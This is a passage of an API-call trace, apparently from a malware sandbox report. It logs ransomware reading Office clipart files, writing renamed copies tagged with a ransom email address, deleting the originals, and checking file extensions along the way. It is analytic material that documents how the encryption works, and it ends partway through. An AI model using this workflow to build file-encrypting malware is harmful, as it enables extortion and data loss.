	[0164.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0164.663] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.663] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0164.664] GetLastError () returned 0x0
	[0164.664] ReadFile (in: hFile=0x448, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x2232, lpOverlapped=0x0) returned 1
	[0164.667] WriteFile (in: hFile=0x44c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2240, lpOverlapped=0x0) returned 1
	[0164.669] ReadFile (in: hFile=0x448, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.669] WriteFile (in: hFile=0x44c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.669] SetEndOfFile (hFile=0x44c) returned 1
	[0164.669] CloseHandle (hObject=0x44c) returned 1
	[0164.669] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.669] SetEndOfFile (hFile=0x448) returned 1
	[0164.676] CloseHandle (hObject=0x448) returned 1
	[0164.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 1
	[0164.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0164.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0164.677] lstrlenW (lpString=".doc") returned 4
	[0164.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.678] lstrlenW (lpString=".docx") returned 5
	[0164.678] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0164.678] lstrlenW (lpString=".pdf") returned 4
	[0164.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.678] lstrlenW (lpString=".xls") returned 4
	[0164.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.678] lstrlenW (lpString=".xlsx") returned 5
	[0164.678] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0164.678] lstrlenW (lpString=".ppt") returned 4
	[0164.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0164.678] lstrlenW (lpString=".zip") returned 4
	[0164.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.678] lstrlenW (lpString=".rar") returned 4
	[0164.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.678] lstrlenW (lpString=".bz2") returned 4
	[0164.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.678] lstrlenW (lpString=".7z") returned 3
	[0164.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0164.678] lstrlenW (lpString=".dbf") returned 4
	[0164.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0164.678] lstrlenW (lpString=".1cd") returned 4
	[0164.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0164.678] lstrlenW (lpString=".jpg") returned 4
	[0164.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0164.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0164.679] lstrlenW (lpString=".doc") returned 4
	[0164.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.679] lstrlenW (lpString=".docx") returned 5
	[0164.679] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0164.679] lstrlenW (lpString=".pdf") returned 4
	[0164.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.679] lstrlenW (lpString=".xls") returned 4
	[0164.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.679] lstrlenW (lpString=".xlsx") returned 5
	[0164.679] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0164.679] lstrlenW (lpString=".ppt") returned 4
	[0164.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0164.679] lstrlenW (lpString=".zip") returned 4
	[0164.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.679] lstrlenW (lpString=".rar") returned 4
	[0164.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.679] lstrlenW (lpString=".bz2") returned 4
	[0164.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.679] lstrlenW (lpString=".7z") returned 3
	[0164.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0164.679] lstrlenW (lpString=".dbf") returned 4
	[0164.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0164.679] lstrlenW (lpString=".1cd") returned 4
	[0164.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0164.679] lstrlenW (lpString=".jpg") returned 4
	[0164.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.680] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0164.680] lstrlenW (lpString="J0099173.WMF") returned 12
	[0164.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0164.680] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=37140) returned 1
	[0164.680] CloseHandle (hObject=0x448) returned 1
	[0164.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 0x220
	[0164.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0164.681] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.681] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0164.682] GetLastError () returned 0x0
	[0164.682] ReadFile (in: hFile=0x448, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x9114, lpOverlapped=0x0) returned 1
	[0164.685] WriteFile (in: hFile=0x458, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x9120, lpOverlapped=0x0) returned 1
	[0164.687] ReadFile (in: hFile=0x448, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.687] WriteFile (in: hFile=0x458, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.687] SetEndOfFile (hFile=0x458) returned 1
	[0164.687] CloseHandle (hObject=0x458) returned 1
	[0164.687] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.687] SetEndOfFile (hFile=0x448) returned 1
	[0164.690] CloseHandle (hObject=0x448) returned 1
	[0164.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 1
	[0164.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0164.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0164.692] lstrlenW (lpString=".doc") returned 4
	[0164.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.692] lstrlenW (lpString=".docx") returned 5
	[0164.692] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0164.692] lstrlenW (lpString=".pdf") returned 4
	[0164.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.692] lstrlenW (lpString=".xls") returned 4
	[0164.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.692] lstrlenW (lpString=".xlsx") returned 5
	[0164.692] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0164.692] lstrlenW (lpString=".ppt") returned 4
	[0164.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0164.692] lstrlenW (lpString=".zip") returned 4
	[0164.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.692] lstrlenW (lpString=".rar") returned 4
	[0164.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.692] lstrlenW (lpString=".bz2") returned 4
	[0164.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.692] lstrlenW (lpString=".7z") returned 3
	[0164.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0164.692] lstrlenW (lpString=".dbf") returned 4
	[0164.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0164.692] lstrlenW (lpString=".1cd") returned 4
	[0164.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0164.693] lstrlenW (lpString=".jpg") returned 4
	[0164.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0164.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0164.693] lstrlenW (lpString=".doc") returned 4
	[0164.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.693] lstrlenW (lpString=".docx") returned 5
	[0164.693] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0164.693] lstrlenW (lpString=".pdf") returned 4
	[0164.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.693] lstrlenW (lpString=".xls") returned 4
	[0164.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.693] lstrlenW (lpString=".xlsx") returned 5
	[0164.693] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0164.693] lstrlenW (lpString=".ppt") returned 4
	[0164.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0164.693] lstrlenW (lpString=".zip") returned 4
	[0164.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.693] lstrlenW (lpString=".rar") returned 4
	[0164.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.693] lstrlenW (lpString=".bz2") returned 4
	[0164.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.693] lstrlenW (lpString=".7z") returned 3
	[0164.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0164.693] lstrlenW (lpString=".dbf") returned 4
	[0164.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0164.693] lstrlenW (lpString=".1cd") returned 4
	[0164.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0164.693] lstrlenW (lpString=".jpg") returned 4
	[0164.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.694] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0164.694] lstrlenW (lpString="J0099174.WMF") returned 12
	[0164.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0164.694] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=6214) returned 1
	[0164.694] CloseHandle (hObject=0x448) returned 1
	[0164.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 0x220
	[0164.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0164.695] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.695] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0164.695] GetLastError () returned 0x0
	[0164.696] ReadFile (in: hFile=0x448, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x1846, lpOverlapped=0x0) returned 1
	[0164.702] WriteFile (in: hFile=0x458, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1850, lpOverlapped=0x0) returned 1
	[0164.703] ReadFile (in: hFile=0x448, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.703] WriteFile (in: hFile=0x458, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.703] SetEndOfFile (hFile=0x458) returned 1
	[0164.703] CloseHandle (hObject=0x458) returned 1
	[0164.704] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.704] SetEndOfFile (hFile=0x448) returned 1
	[0165.043] CloseHandle (hObject=0x448) returned 1
	[0165.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1
	[0165.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0165.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0165.353] lstrlenW (lpString=".doc") returned 4
	[0165.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.353] lstrlenW (lpString=".docx") returned 5
	[0165.353] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0165.353] lstrlenW (lpString=".pdf") returned 4
	[0165.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.353] lstrlenW (lpString=".xls") returned 4
	[0165.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.353] lstrlenW (lpString=".xlsx") returned 5
	[0165.353] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0165.353] lstrlenW (lpString=".ppt") returned 4
	[0165.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0165.353] lstrlenW (lpString=".zip") returned 4
	[0165.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.353] lstrlenW (lpString=".rar") returned 4
	[0165.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.353] lstrlenW (lpString=".bz2") returned 4
	[0165.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.353] lstrlenW (lpString=".7z") returned 3
	[0165.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0165.353] lstrlenW (lpString=".dbf") returned 4
	[0165.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0165.353] lstrlenW (lpString=".1cd") returned 4
	[0165.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0165.353] lstrlenW (lpString=".jpg") returned 4
	[0165.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0165.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0165.354] lstrlenW (lpString=".doc") returned 4
	[0165.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.354] lstrlenW (lpString=".docx") returned 5
	[0165.354] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0165.354] lstrlenW (lpString=".pdf") returned 4
	[0165.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.354] lstrlenW (lpString=".xls") returned 4
	[0165.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.354] lstrlenW (lpString=".xlsx") returned 5
	[0165.354] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0165.354] lstrlenW (lpString=".ppt") returned 4
	[0165.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0165.354] lstrlenW (lpString=".zip") returned 4
	[0165.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.354] lstrlenW (lpString=".rar") returned 4
	[0165.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.354] lstrlenW (lpString=".bz2") returned 4
	[0165.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.354] lstrlenW (lpString=".7z") returned 3
	[0165.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0165.354] lstrlenW (lpString=".dbf") returned 4
	[0165.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0165.355] lstrlenW (lpString=".1cd") returned 4
	[0165.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0165.355] lstrlenW (lpString=".jpg") returned 4
	[0165.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.355] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0165.355] lstrlenW (lpString="J0099177.WMF") returned 12
	[0165.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0165.533] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=5386) returned 1
	[0165.533] CloseHandle (hObject=0x440) returned 1
	[0165.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 0x220
